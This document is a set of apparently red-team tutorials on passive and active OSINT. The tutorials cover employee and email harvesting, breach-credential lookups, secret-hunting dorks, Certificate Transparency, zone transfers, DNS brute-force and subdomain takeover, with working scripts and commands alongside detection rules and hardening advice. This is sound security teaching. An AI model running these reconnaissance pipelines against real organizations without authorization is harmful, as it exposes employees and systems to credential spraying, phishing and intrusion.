LinkedIn is the richest single source of employee identity data. Unauthenticated bulk scraping violates its Terms of Service, so red teams stick to passive search-engine methods.
The primary technique is Google dorking — crafted search queries that pull indexed profiles without touching LinkedIn directly:
# Run only against organizations you have written authorization to assess.
# Illustrative dork strings — patterns, not automated scrapers.
site:linkedin.com/in "Target Corp" "Security Engineer"
site:linkedin.com/in "Target Corp" "Cloud Administrator"Beyond names and titles, job postings leak the tech stack. A listing requiring “experience with CrowdStrike Falcon” confirms the EDR platform; a VPN product name reveals the remote-access surface. Each discovered name feeds two downstream tasks: email-address derivation and lure crafting for later social engineering.
What an adversary derives from purely public profiles:
| Technique | Description |
|---|---|
| Name and title harvesting | Build the employee roster and org chart. |
| Department structure mapping | Identify privileged roles (IT, finance, HR). |
| Tech-stack inference | Read EDR/VPN/cloud product names from job ads. |
| Movement tracking | Spot new hires (weaker awareness) and recent departures. |
4. Email Harvesting with theHarvester
theHarvester is the canonical recon tool for this phase. It gathers names, emails, IPs, subdomains, and URLs from 40+ public resources, determining a domain’s external threat landscape without contacting the target.
theHarvester invocation:
# Authorized engagements only — run against domains in your signed scope.
theHarvester -d example-corp.com -b bing,linkedin,hunter -l 500 -f results.jsonFlag breakdown:
| Flag | Purpose |
|---|---|
-d <domain> | Target domain to enumerate. |
-b <source> | Comma-separated data sources (bing, google, linkedin, hunter, censys, certspotter, shodan). |
-l <limit> | Cap on results retrieved per source. |
-f <file> | Write structured output (JSON/XML) for later correlation. |
Several sources — hunter, censys, shodan — require API keys configured in theHarvester’s api-keys.yaml. The output is a deduplicated set of email addresses, subdomains, and hostnames you carry forward into format inference and breach lookups.
5. Email Format Inference and Verification
A handful of confirmed addresses reveals the corporate email format. Extrapolate that pattern across the LinkedIn roster to generate every employee’s likely address.
The six dominant corporate archetypes:
| Pattern | Example |
|---|---|
firstname.lastname | jane.doe@domain.com |
firstnamelastname | janedoe@domain.com |
flastname | jdoe@domain.com |
firstname | jane@domain.com |
f.lastname | j.doe@domain.com |
firstname_lastname | jane_doe@domain.com |
Hunter.io automates detection: its domain-search endpoint returns a pattern field naming the format explicitly, plus per-address confidence scores.
# Authorized scope only. Requires a Hunter.io API key.
import requests
def hunter_domain_search(domain, api_key):
url = "https://api.hunter.io/v2/domain-search"
params = {"domain": domain, "api_key": api_key}
r = requests.get(url, params=params, timeout=20)
r.raise_for_status()
data = r.json()["data"]
print(f"[+] Detected format: {data.get('pattern')}")
for e in data.get("emails", []):
print(f" {e['value']:35} confidence={e['confidence']}")
# hunter_domain_search("example-corp.com", "<API_KEY>")Validate an inferred format passively by confirming sample addresses in breach databases (next section) rather than actively probing the target’s SMTP server.
6. Breach Data with Have I Been Pwned
Have I Been Pwned (HIBP) aggregates breach data from thousands of compromised databases. The v3 API is current; per-account and domain endpoints require the hibp-api-key header and a descriptive User-Agent.
Per-account breach lookup:
# Authorized accounts only (e.g., your own domain's mailboxes).
import requests
def hibp_account(account, api_key):
url = f"https://haveibeenpwned.com/api/v3/breachedaccount/{account}"
headers = {"hibp-api-key": api_key, "User-Agent": "RedTeam-Recon-Lab"}
r = requests.get(url, headers=headers, params={"truncateResponse": "false"}, timeout=20)
if r.status_code == 404:
return [] # clean — no breaches
r.raise_for_status()
for b in r.json():
severity = "HIGH" if "Passwords" in b["DataClasses"] else "INFO"
print(f"[{severity}] {b['Name']} ({b['BreachDate']}) -> {b['DataClasses']}")
return r.json()Key breach-metadata fields: Name, BreachDate, DataClasses, IsVerified, and IsFabricated. Treat IsFabricated: true entries with caution — they may be unreliable.
The /breacheddomain/ endpoint searches an entire domain at once, but it requires a paid plan and verified domain ownership — by design, you can only run it against a domain you control. That same constraint makes it a legitimate blue-team monitoring tool.
Privacy-preserving password check (k-Anonymity):
The /range/ endpoint requires no API key and never sends the full hash. You SHA-1 the candidate password, send only the first 5 characters of the hash, and match the returned suffix list locally.
import hashlib, requests
def pwned_password(password):
sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
prefix, suffix = sha1[:5], sha1[5:]
r = requests.get(f"https://api.pwnedpasswords.com/range/{prefix}", timeout=20)
r.raise_for_status()
for line in r.text.splitlines():
h, count = line.split(":")
if h == suffix:
return int(count) # times seen in breaches
return 0The full password never leaves your machine — this is the model defenders should adopt for any internal password-exposure check.
7. Deeper Breach Intelligence: DeHashed, IntelligenceX, and Paste Sites
HIBP confirms that an account was breached; it does not return passwords. For credential investigation, red teams reach for paid platforms.
| Service | What It Adds |
|---|---|
| DeHashed | Plaintext/hashed passwords, usernames, IPs tied to an email; lets you check whether the same hash recurs across accounts (reuse). |
| IntelligenceX | Indexes paste-site content and leak archives for near-real-time monitoring. |
| BreachDirectory | Ongoing credential-exposure tracking. |
| Pastebin / GitHub Gist | Credentials and internal data frequently surface here before removal. |
If a target email appears in DeHashed with a known password, that password may have been reused on corporate VPNs, mail portals, or cloud consoles — the basis of the credential-stuffing pipeline. Accessing and storing this material carries real legal constraints: retain only what the engagement requires, encrypt it at rest, and destroy it per the RoE.
8. Certificate Transparency for Subdomain Enumeration
Every TLS certificate issued for a domain is logged in public Certificate Transparency (CT) logs. Querying them discovers subdomains that never appear in DNS brute-forcing — and crucially, this is passive: you query a third-party log, not the target.
# crt.sh CT-log query — passive subdomain enumeration.
import requests
def crtsh_subdomains(domain):
r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json", timeout=30)
r.raise_for_status()
subs = {row["name_value"] for row in r.json()}
for s in sorted(subs):
print(s)
# crtsh_subdomains("example-corp.com")Discovered hosts like vpn.example-corp.com or mail.example-corp.com correlate back to the harvested employees — these are the portals where breach credentials get sprayed.
9. Correlating Findings into an Attack Path
Reconnaissance is only useful when chained. The logical flow:
- People (LinkedIn) → roster of names and titles.
- Email format (Hunter.io) → addresses for every name.
- Breach hits (HIBP / DeHashed) → which addresses leaked, and which leaked passwords.
- Portals (crt.sh) → where those credentials authenticate.
- Spray candidates → privileged accounts without MFA, ranked by exploitability.
Two illustrative correlation helpers — dork construction and authorized format validation:
# Dork strings illustrate patterns only — no automated scraping.
linkedin = 'site:linkedin.com/in "TargetCorp" "engineer"'
github = 'org:targetcorp filename:.env password'
# Authorized lab/own-domain only: generate candidates and check breach exposure.
def generate_and_check(names, domain, hibp_key):
candidates = [f"{f.lower()}.{l.lower()}@{domain}" for f, l in names]
for addr in candidates:
hits = hibp_account(addr, hibp_key) # from Section 6
flag = "EXPOSED" if hits else "clean"
print(f"{addr:35} {flag}")Deliver the result as a structured artefact, not raw tool dumps:
# OSINT Targeting Report — example-corp.com (AUTHORIZED ENGAGEMENT)
## Employees Found
- Jane Doe — Security Engineer (LinkedIn)
- John Roe — Cloud Administrator (LinkedIn)
## Email Format
- Confirmed pattern: firstname.lastname@example-corp.com (Hunter.io, confidence 95)
## Breach Hits
- jane.doe@... — Breach2021 (Passwords, Emails) — HIGH
- john.roe@... — no exposure — clean
## Credential Risk Ranking
1. jane.doe@... — admin role + breach password + portal vpn.example-corp.com
## Suggested Next Steps
- Validate MFA status on exposed accounts (authorized phase 2 only)
10. Common Attacker Techniques
| Technique | Description |
|---|---|
| Employee-name harvesting | Build rosters from LinkedIn and search engines to derive emails and lures. |
| Email-format inference | Extrapolate one confirmed format across the entire roster. |
| Breach-credential mining | Cross-reference addresses against HIBP/DeHashed for reusable passwords. |
| Paste-site monitoring | Scrape Pastebin/Gist leaks before takedown. |
| GitHub secret hunting | Search public repos and commit history for .env files, API keys, and DB passwords. |
| CT-log enumeration | Discover forgotten subdomains and shadow IT portals. |
Git history is decisive: a secret deleted last month still lives in the commit log unless the repo was scrubbed with git filter-repo — most never are.
11. Defensive Strategies & Detection
Inbound passive OSINT is largely invisible — there is no packet to log. Defense is therefore exposure reduction plus detecting the downstream use of harvested data and any internal authorized tooling.
What is observable:
- Sysmon Event ID 22 (DNSEvent) — internal hosts resolving OSINT API domains (
hunter.io,haveibeenpwned.com). Field:QueryName. Relevant to authorized red-team logging, not inbound recon. - Sysmon Event ID 3 (NetworkConnect) — outbound connections to Shodan/Censys/harvesting endpoints. Fields:
DestinationIp,DestinationPort,Image. - WAF / CDN logs — high-rate hits on
/staff,/team,/about,/sitemap.xmland scraper user-agents. - Certificate Transparency monitoring — alerts when unexpected certs/subdomains appear (shadow IT or forgotten assets).
- GitHub secret scanning — Advanced Security flags committed credentials before adversaries find them.
Downstream credential abuse is where SIEM earns its keep. Watch domain controllers for Event ID 4625 failures spread across many accounts from one source IP — SubStatus 0xC000006A (wrong password) and 0xC0000064 (bad username) signal password spraying. In Entra ID, alert on a successful sign-in from a new geolocation immediately after a domain appears in a breach.
Sigma rule (internal OSINT tool execution in a lab/red-team environment):
title: Internal OSINT Recon Tool Execution
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1 # Sysmon ProcessCreate
Image|endswith:
- '\theHarvester.py'
- '\python.exe'
CommandLine|contains:
- 'theHarvester'
- 'hunter.io'
- 'haveibeenpwned'
condition: selection
level: mediumThis targets authorized internal tooling; it cannot see external recon performed against you.
Hardening priorities:
| Mitigation | Description |
|---|---|
| Employee profile hygiene | Train staff not to list VPN/EDR/tooling names in LinkedIn bios. |
| Corporate email discipline | Forbid work email for personal SaaS — breaches of those services leak corporate credentials. |
DMARC p=reject | Stops harvested addresses being trivially spoofed in follow-on phishing. |
| MFA everywhere | Neutralizes breached passwords; prioritize internet-facing admin panels. |
| GitHub secret scanning + pre-commit hooks | Block secrets at commit; audit history with truffleHog / git-secrets. |
| Periodic HIBP domain search | Verified-owner API run on a schedule; force resets on exposed accounts. |
Blue teams should run this entire playbook against themselves — to find leaked credentials, spot typosquatting, identify unauthorized assets, and measure supplier exposure.

12. Tools for OSINT Reconnaissance
| Tool | Description | Link |
|---|---|---|
| theHarvester | Multi-source email/subdomain/IP harvesting | github.com/laramies/theHarvester |
| Hunter.io | Email discovery + format detection API | hunter.io |
| Have I Been Pwned | Breach and password-exposure API (v3) | haveibeenpwned.com |
| DeHashed | Credential investigation (passwords, usernames) | dehashed.com |
| IntelligenceX | Paste-site and leak indexing | intelx.io |
| crt.sh | Certificate Transparency log search | crt.sh |
| truffleHog | Git history secret scanning | github.com |
13. MITRE ATT&CK Mapping
All techniques sit under Reconnaissance (TA0043) except the downstream abuse rows.
| Technique | MITRE ID | Detection |
|---|---|---|
| Gather Victim Identity Information | T1589 | Largely undetectable inbound; reduce exposure. |
| …Credentials | T1589.001 | HIBP/DeHashed exposure monitoring; force resets. |
| …Email Addresses | T1589.002 | Hunter.io/theHarvester output review; verify ID at attack.mitre.org. |
| …Employee Names | T1589.003 | Profile-hygiene training; LinkedIn monitoring. |
| Search Open Websites/Domains | T1593 | WAF/CDN scraper detection. |
| …Social Media | T1593.001 | Brand/impersonation monitoring. |
| …Search Engines | T1593.002 | Dork-leak audits of own indexed content. |
| …Code Repositories | T1593.003 | GitHub secret scanning. |
| Gather Victim Org Information | T1591 | Public-footprint review. |
| Search Open Technical Databases | T1596 | CT-log monitoring (crt.sh, Censys). |
| Compromise Accounts | T1586 | Anomalous sign-in correlation. |
| Valid Accounts | T1078 | MFA enforcement; 4625 spray detection (shifts to TA0001). |
Summary
- OSINT reconnaissance converts public data — LinkedIn profiles, breach dumps, and CT logs — into a targeting package of named employees with reusable credentials, all without sending a packet to the target.
- Employee names drive email-format inference; Hunter.io’s
patternfield and theHarvester’s multi-source output extrapolate addresses across an entire org. - HIBP confirms exposure (use the keyless k-Anonymity
/range/endpoint for safe password checks); DeHashed and paste sites supply the actual reusable passwords. - The attack path chains people → emails → breach credentials → discovered portals → MFA-less spray candidates — mapped to ATT&CK
T1589,T1593, and downstreamT1586/T1078. - Defenders detect the downstream abuse — Event ID 4625 spray patterns, anomalous Entra sign-ins — and shrink exposure with DMARC
p=reject, universal MFA, GitHub secret scanning, and authorized HIBP domain searches.
Related Tutorials
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Passive OSINT: Mapping the Target Without Touching It
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OPSEC Principles for Red Teamers: Staying Undetected
References
- Gather Victim Identity Information, Technique T1589 – Enterprise | MITRE ATT&CK®
- Gather Victim Identity Information: Credentials, Sub-technique T1589.001 – Enterprise | MITRE ATT&CK®
- Gather Victim Identity Information: Email Addresses, Sub-technique T1589.002 – Enterprise | MITRE ATT&CK®
- Gather Victim Identity Information: Employee Names, Sub-technique T1589.003 – Enterprise | MITRE ATT&CK®
- Compromise Accounts: Social Media Accounts, Sub-technique T1586.001 – Enterprise | MITRE ATT&CK®
- Acquire OSINT data sets and information (People Information Gathering), Technique T1266 – PRE-ATT&CK | MITRE ATT&CK®
Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
Objective: Understand how an authorized red teamer methodically maps an organization’s external DNS attack surface — from zero-noise passive Certificate Transparency mining to active brute-force resolution — and how defenders detect each technique at the protocol, log, and SIEM level.
1. Why Subdomain Enumeration Matters: The Attack Surface Problem
An organization’s externally reachable footprint is rarely the handful of hostnames it advertises. Missed subdomains mean missed attack surface: forgotten admin panels, staging environments, internal APIs accidentally exposed, and legacy services that were never meant to be public. Each undiscovered host is a node the defender is not monitoring and the operator can pivot through.
Enumeration is a multi-source intelligence-gathering process, not a single tool run. A mature workflow combines passive aggregation, public technical databases, and active resolution to build the most complete asset inventory possible. The skill is sequencing those techniques from quietest to loudest so the operator controls exactly how much signal they generate.
All techniques below fall under MITRE’s Reconnaissance tactic (TA0043). Run them only inside an authorized scope.
2. DNS Primer for Red Teamers: Records, Zones, and Resolvers
DNS resolution flows through a chain: a recursive resolver queries the root, then the TLD nameservers, then the authoritative NS for the zone. The authoritative server holds the records that matter to recon. Each record type leaks distinct intelligence.
| Record | Function |
|---|---|
A / AAAA | IPv4 / IPv6 address mapping for a hostname |
CNAME | Canonical name alias — critical for subdomain takeover identification |
MX | Mail exchange — reveals mail infrastructure and phishing pivot targets |
NS | Authoritative nameserver — identifies zone ownership and AXFR targets |
TXT | Freeform text — SPF (v=spf1), DKIM, DMARC (v=DMARC1), verification tokens often expose third-party services |
SOA | Start of Authority — primary NS, contact email, serial, refresh, retry, expire, minimum TTL |
PTR | Reverse DNS — maps IP → hostname, used in reverse-range sweeps |
SRV | Service locator — reveals app-layer services (_ldap._tcp, _sip._tcp) |
Enumerate record types directly with dig:
dig A target.com +short
dig NS target.com +short
dig MX target.com +short
dig TXT target.com +short # SPF/DMARC reveal third-party SaaS
dig SOA @ns1.target.com target.comTXT recon is high-value: SPF includes (include:_spf.salesforce.com) and verification tokens fingerprint exactly which cloud and SaaS providers an organization uses.
3. Zone Transfer Attacks (AXFR/IXFR): When DNS Gives It All Away
A zone transfer exists so a secondary nameserver can replicate a zone from the primary. A full transfer is DNS query type AXFR; an incremental transfer is IXFR. If an authoritative server answers an AXFR from an unauthorized client, it dumps the entire zone — every record, in one transaction.
dig axfr @ns1.target.com target.comA correctly hardened server returns Transfer failed. or a refusal. A misconfigured one returns the full record set. dnsrecon automates the test across all discovered nameservers:
dnsrecon -d target.com -t axfrMost modern configurations restrict AXFR to whitelisted secondary IPs, so success is rare — but the cost of the check is one query, and a hit collapses the entire enumeration phase into a single response.
4. Certificate Transparency: The Unintentional Subdomain Registry
Certificate Transparency (CT), defined in RFC 6962, is an open framework of public append-only logs recording every certificate issued by publicly trusted CAs. Browsers require that each certificate be logged to at least two CT logs before they accept it. The side effect: a comprehensive, searchable record of every subdomain any certificate ever covered.
Two fields carry the intelligence: the Common Name (CN) and the Subject Alternative Names (SANs). SANs are the modern standard for declaring which domains a certificate covers, and a single certificate can list dozens of subdomains. crt.sh exposes both through its name_value field.
Query the JSON API with a % wildcard prefix and extract uniques:
import requests
def crtsh_subdomains(domain):
url = f"https://crt.sh/?q=%.{domain}&output=json"
r = requests.get(url, timeout=30)
subs = set()
for entry in r.json():
for name in entry["name_value"].splitlines():
subs.add(name.lstrip("*.").lower()) # strip wildcard prefix
return sorted(subs)
for s in crtsh_subdomains("target.com"):
print(s)For large zones, query the backing PostgreSQL database directly — faster and not rate-limited like the web frontend:
import psycopg2
conn = psycopg2.connect(host="crt.sh", port=5432, dbname="certwatch", user="guest")
cur = conn.cursor()
cur.execute("""
SELECT ci.NAME_VALUE FROM certificate_identity ci
WHERE ci.NAME_TYPE = 'dNSName'
AND reverse(lower(ci.NAME_VALUE)) LIKE reverse(lower(%s));
""", ("%.target.com",))
subs = {row[0].lstrip("*.").lower() for row in cur.fetchall()}
print("\n".join(sorted(subs)))NAME_TYPE = 'dNSName' filters to DNS SANs only. Other CT aggregators include Censys (search.censys.io), Facebook CT (developers.facebook.com/tools/ct/), and the Google Transparency Report. CT logs ingest within minutes of issuance; crt.sh and Certspotter typically surface new certificates within a few hours.

5. WHOIS, RDAP, and ASN Enumeration: Mapping the IP Estate
WHOIS data is held by Regional Internet Registries (RIRs) responsible for allocating domain names and IP resources. RDAP (Registration Data Access Protocol, RFC 7480) is the modern JSON-based successor. Both reveal registrar, creation/expiry dates, nameservers, and registrant organization.
whois target.com # registrar, NS, creation date, registrant org
curl -s https://rdap.verisign.com/com/v1/domain/target.com | jq '.nameservers, .entities'The entities and nameservers arrays in RDAP output map cleanly to the org and infrastructure you correlate elsewhere. From the registrant org you pivot to ASN enumeration via RIPE/ARIN to discover owned IP blocks, then run reverse PTR sweeps across those ranges to recover hostnames not present in any forward record.
6. Passive DNS Aggregation: Intelligence Without Touching the Target
Passive DNS datasets store historical resolution data harvested by third parties. Querying them yields subdomains without your operator ever touching the target’s infrastructure — zero target-side signal.
| Tool | Role |
|---|---|
subfinder | Passive OSINT aggregator across CT logs, passive DNS, APIs |
amass (enum) | Deep multi-source enumeration; passive mode plus ASN enumeration |
theHarvester | OSINT gathering for emails, names, subdomains, IPs, URLs from public sources |
bbot | Recon framework that correlates infrastructure relationships, not just names |
Primary data sources include PassiveTotal/RiskIQ, VirusTotal, SecurityTrails, Shodan, and Censys. Most require API keys configured in the tool’s provider file.
subfinder -d target.com -all -o subs_passive.txt
amass enum -passive -d target.com -o subs_amass.txt
theHarvester -d target.com -b crtsh,bing,duckduckgoamass is often misunderstood but offers unmatched depth when configured correctly; its passive mode remains a valid quiet alternative to active collection.
7. Active DNS Brute-Force: Wordlists, Resolvers, and Wildcard DNS
Active techniques directly interact with the target’s DNS infrastructure. The core mechanic: iterate a wordlist, prepend each word as a label (dev.target.com), issue an A/AAAA query, and record responses.
| Tool | Primary Mechanic |
|---|---|
massdns | High-throughput async resolver via custom resolver list |
puredns | massdns wrapper with wildcard detection and deduplication |
shuffledns | massdns brute-forcer with valid-resolver shuffling |
dnsx | DNS probing and record-type enumeration |
gobuster dns | Wordlist DNS brute force |
dnsenum | Zone transfer attempts plus brute-force |
The critical hazard is wildcard DNS: if *.target.com resolves to a catch-all IP, every guess returns a positive. Tools must detect and filter this. puredns handles wildcard detection and deduplication natively:
puredns bruteforce wordlist.txt target.com \
-r resolvers.txt -w resolved.txtResolver selection matters — use a curated list of validated public resolvers (e.g., trickest/resolvers) so queries distribute and stay accurate. Wordlists drive coverage: SecLists dns-Jhaddix.txt and Commonspeak2 are standard. Distributing queries across many resolvers also smears per-source detection thresholds.
8. Permutation and Mutation: Finding What Brute-Force Misses
Brute-force only finds words in your list. Permutation generates variants of already-discovered subdomains — taking api and producing api-dev, api-v2, api-staging, internal-api. altdns and dnsgen perform this mutation.
PATTERNS = ["dev", "staging", "prod", "v2", "internal", "test"]
def mutate(known_subs, base):
out = set()
for host in known_subs:
label = host.replace(f".{base}", "")
for p in PATTERNS:
out.add(f"{label}-{p}.{base}") # api -> api-dev.target.com
out.add(f"{p}-{label}.{base}") # api -> dev-api.target.com
return out
# feed mutations back into dnsx for resolutionPipe the generated candidates straight into dnsx to resolve only the survivors. Permutation routinely surfaces staging hosts that follow internal naming conventions no public wordlist contains.
9. Chaining It Together: A Full Enumeration Workflow
The value is in the pipeline. Aggregate names, resolve them, probe live services, then validate. Each stage adds a column of intelligence:
subfinder -d target.com -o subs.txt # passive aggregation
dnsx -l subs.txt -a -resp -o resolved.txt # keep only resolvers
httpx -l resolved.txt -title -status-code -tech-detect \
-o live.txt # live HTTP fingerprintsubfinder supplies the candidate set, dnsx discards dead names and records the answers, and httpx confirms which hosts serve HTTP, their titles, status codes, and detected technologies. Downstream, aquatone or gowitness screenshot each live host for triage at scale, and subjack checks for takeover. CT logs and passive DNS feed the top of the funnel; active brute-force and permutation widen it; HTTP probing and screenshotting prioritize what to investigate.

10. Subdomain Takeover: From Dangling CNAME to Claimed Asset
Enumeration frequently uncovers dangling CNAMEs — a subdomain whose CNAME points to a deprovisioned cloud service (GitHub Pages, Heroku, AWS S3, Azure, Fastly). If the operator can re-register that external resource, they serve content from the victim’s trusted subdomain. This is the primary takeover vector.
subjack fingerprints CNAME chains against known-vulnerable service responses:
subjack -w resolved.txt -t 100 -timeout 30 \
-c fingerprints.json -vA positive result means a subdomain’s CNAME chain terminates at an unclaimed external resource. In an authorized engagement, validate the finding against the can-i-take-over-xyz reference list and report it through responsible disclosure — do not claim the resource unless the rules of engagement explicitly permit proof-of-concept takeover.
11. Common Attacker Techniques
| Technique | Description |
|---|---|
| Zone transfer (AXFR) | Dump an entire zone from a misconfigured authoritative NS in one query |
| CT log mining | Harvest CN/SAN fields to recover the full historical subdomain namespace |
| Passive DNS query | Recover subdomains from third-party resolution history with zero target contact |
| DNS brute-force | Resolve a wordlist of guessed labels against the target’s resolvers |
| Permutation mutation | Generate naming variants of known hosts to find staging/internal services |
| Reverse PTR sweep | Map owned ASN/IP blocks back to hostnames |
| Subdomain takeover | Claim a deprovisioned cloud resource behind a dangling CNAME |
The progression matters operationally: CT logs, WHOIS/RDAP, and passive DNS generate zero target-side signal, while AXFR, brute-force, and HTTP probing are increasingly noisy and detectable.

12. Defensive Strategies & Detection
CT mining, WHOIS/RDAP, and passive DNS queries occur entirely outside the target’s infrastructure and generate no SIEM-visible events at collection time. Detection therefore concentrates on the active phases.
| Activity | Signal Generated |
|---|---|
| AXFR attempt | Single large TCP/53 transaction to authoritative NS; refusals still log |
| DNS brute-force | High-volume NXDomain responses from one source IP in a short window |
| CT / WHOIS / passive DNS | None — third-party or public registry |
Active resolution (massdns) | High NXDomain rate; resolver-distributed queries may evade per-source detection |
HTTP probing (httpx) | Web server access logs; WAF hits on rapid host sweeps |
Sysmon and ETW
Sysmon Event ID 22 (DNSEvent) logs DNS queries made through the Windows DnsQuery_* API calls in dnsapi.dll, supported on Windows 8.1 and above via ETW. This catches recon tooling run from a compromised Windows host, recording QueryName, QueryStatus, and QueryResults. The underlying provider is Microsoft-Windows-DNS-Client (GUID {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D} — verify against current Windows documentation).
Network and Resolver-Side Detection
- Flag source IPs generating more than N
NXDomainresponses per minute; brute-force tools generate hundreds per second. - DNS Response Policy Zones (RPZ) and authoritative server logs capture all inbound queries, including refused AXFR attempts.
- Restrict AXFR with
allow-transfer(BIND) or transfer ACLs (Windows DNS Server) to whitelisted secondaries only. - Enable Response Rate Limiting (RRL) to slow brute-force resolution.
Sigma Rule (DNS brute-force via Sysmon EID 22)
title: DNS Subdomain Brute-Force (High NXDomain Rate)
logsource:
product: windows
category: dns_query # maps to Sysmon EventID 22
detection:
selection:
QueryStatus: 'NXDOMAIN' # DNS_ERROR_RCODE_NAME_ERROR (9003)
condition: selection | count() by SourceIp > 200 within 1m
fields:
- QueryName
- QueryStatus
- QueryResults
- Image
level: mediumCT Log Monitoring (Defensive)
Defenders can flip CT against the attacker: subscribe to Certspotter (SSLMate), crt.sh alerts, or the Facebook CT monitoring API to receive near-real-time alerts on certificates newly issued for your domain tree. Combined with regular self-enumeration to detect unauthorized subdomain creation, dangling-CNAME audits, and accurate published SPF/DMARC/DKIM TXT records, this closes most of the gaps recon exploits.
13. Tools for Subdomain Enumeration Analysis
| Tool | Description | Link |
|---|---|---|
dig / dnsrecon | Record enumeration and AXFR testing | — |
crt.sh | Certificate Transparency search and JSON/PostgreSQL API | crt.sh |
subfinder | Passive multi-source subdomain aggregation | github.com |
amass | Deep enumeration plus ASN mapping | github.com |
puredns / massdns | Wildcard-aware high-throughput brute-force | github.com |
dnsx / httpx | Resolution and live HTTP probing | github.com |
theHarvester | OSINT email/host/IP gathering | github.com |
subjack | Subdomain takeover fingerprinting | github.com |
Censys / Shodan | Internet-wide scan and certificate databases | search.censys.io |
Certspotter | Defensive CT certificate monitoring | sslmate.com |
14. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Active Scanning | T1595 | High NXDomain rate; resolver and firewall logs |
| Active Scanning: Scanning IP Blocks | T1595.001 | Reverse PTR sweeps across ASN ranges |
| Gather Victim Network Information | T1590 | Umbrella — DNS/network infrastructure gathering |
| Gather Victim Network Information: DNS | T1590.002 | AXFR attempts logged at authoritative NS |
| Search Open Technical Databases | T1596 | No target-side signal; out-of-band collection |
| Open Technical Databases: DNS/Passive DNS | T1596.001 | Third-party passive DNS — no local visibility |
| Open Technical Databases: WHOIS | T1596.002 | Public registry query — no local visibility |
| Open Technical Databases: Scan Databases | T1596.005 | CT log / Shodan / Censys mining; verify against live ATT&CK page |
All map to Reconnaissance (TA0043). The defining split: T1595 is active and detectable, while the T1596 family is passive and invisible to the target at collection time.
Summary
- External DNS attack surface is far larger than what an organization advertises, and missed subdomains are missed attack surface.
- DNS records, AXFR misconfigurations, and Certificate Transparency CN/SAN fields each leak distinct, attack-relevant intelligence about hosts and infrastructure.
- Passive sources (CT logs, WHOIS/RDAP, passive DNS) generate zero target-side signal; active brute-force and HTTP probing are detectable through high
NXDomainrates and access logs. - Detect active recon via Sysmon Event ID 22 DNS query logging, resolver
NXDomainrate thresholds, and RPZ/AXFR refusal logs. - Defend by restricting AXFR, removing dangling CNAMEs, rate-limiting resolvers, and monitoring your own domains in CT logs with Certspotter for near-real-time certificate alerts.
Related Tutorials
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Passive OSINT: Mapping the Target Without Touching It
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OPSEC Principles for Red Teamers: Staying Undetected
References
- MITRE ATT&CK: Gather Victim Network Information: DNS (T1590.002)
- MITRE ATT&CK: Search Open Technical Databases: DNS/Passive DNS (T1596.001)
- MITRE ATT&CK: Search Open Technical Databases: Digital Certificates (T1596.003)
- MITRE ATT&CK: Search Open Technical Databases: Scan Databases (T1596.005)
- RFC 9162: Certificate Transparency Version 2.0 (IETF)
- RFC 6962: Certificate Transparency (IETF RFC Editor)
Passive OSINT: Mapping the Target Without Touching It
Objective: Understand how authorized red teamers and defenders build a complete external attack-surface picture of an organization using only public, third-party data sources — generating zero packets to target systems — and how defenders run the same exercise against themselves to shrink that exposure.
1. What “Passive” Actually Means
Passive reconnaissance never interacts with the target’s own infrastructure. Every byte you read comes from a third-party aggregator — a registrar’s WHOIS server, a certificate transparency log, Shodan’s index, a breach database, a search-engine cache. The target’s web servers, DNS resolvers, and firewalls log nothing, because you never send them anything. That property is the entire point: passive OSINT leaves no forensic trail on the defender’s systems.
This contrasts directly with Active Scanning (T1595), where you resolve hostnames against the target’s authoritative nameservers, fingerprint services, or port-scan a CIDR. Active scanning touches the target and is logged. T1595 is explicitly out of scope here — it is the technique that begins the moment passive recon ends.
Authorization first. Run these techniques only against organizations you are contractually authorized to assess, within a signed Rules of Engagement (RoE) and defined scope. Querying public databases is legal in most jurisdictions, but acting on harvested credentials or accessing exposed services is not — that is active intrusion, governed by your authorization.
All techniques below map to MITRE ATT&CK Tactic: Reconnaissance (TA0043).
2. The OSINT Intelligence Cycle
Unstructured “Googling the company” wastes time and produces noise. Disciplined OSINT follows a repeatable cycle driven by intelligence requirements defined before any tool runs.
| Phase | Activity |
|---|---|
| Planning | Define intelligence requirements: what assets, people, or exposures matter to the engagement |
| Collection | Gather raw data from open sources (CT logs, Shodan, DNS, dorks) |
| Processing | Clean and normalize results, deduplicate, validate sources |
| Analysis | Link normalized data to the target to determine if an exposure is reachable |
| Dissemination | Route findings to stakeholders with remediation steps |
| Continuous Monitoring | Automate the cycle for ongoing exposure enrichment |
Below is the full passive source landscape this tutorial works through.
| Source Category | Tool / Service | What It Yields |
|---|---|---|
| DNS & WHOIS | dig, host, SecurityTrails | Registrar, nameservers, mail providers, subdomains |
| Certificate Transparency | crt.sh, CertSpotter | Every issued cert — forgotten dev/staging subdomains |
| Passive DNS | SecurityTrails, CIRCL pDNS | Historical domain-to-IP relationships over time |
| Scan Databases | Shodan, Censys, ZoomEye | Indexed service banners, open ports, product versions |
| Search Dorking | Google, Bing (GHDB) | Exposed panels, config files, directory listings |
| Code Repositories | GitHub, GitLab | Internal hostnames, tooling, leaked secrets |
| Social / HUMINT | LinkedIn, job boards | Org structure, tech stack, key personnel |
| Breach Databases | HIBP, DeHashed | Exposed employee credentials |
| Web Archives | Wayback Machine | Old endpoints and removed infrastructure |
| BGP / ASN | BGPView, RIPE, ARIN | ASN, owned prefixes, upstream providers |
| Cloud / Shadow IT | GrayhatWarfare | Exposed S3/Azure/GCP buckets |

3. Domain & DNS Reconnaissance
Start with the apex domain. WHOIS/RDAP reveals registrar, registration dates, and (where not privacy-protected) ownership contacts. DNS record enumeration against public resolvers — not the target’s nameservers — exposes mail providers, CDN usage, and SPF/DMARC posture.
# Enumerate core DNS records via a public resolver (no packets to the target)
for rr in A MX NS TXT SOA; do
echo "== $rr =="
dig +short @1.1.1.1 example.com $rr
done
# MX reveals the mail provider; TXT reveals email-auth posture
dig +short example.com MX # e.g. *.mail.protection.outlook.com -> M365
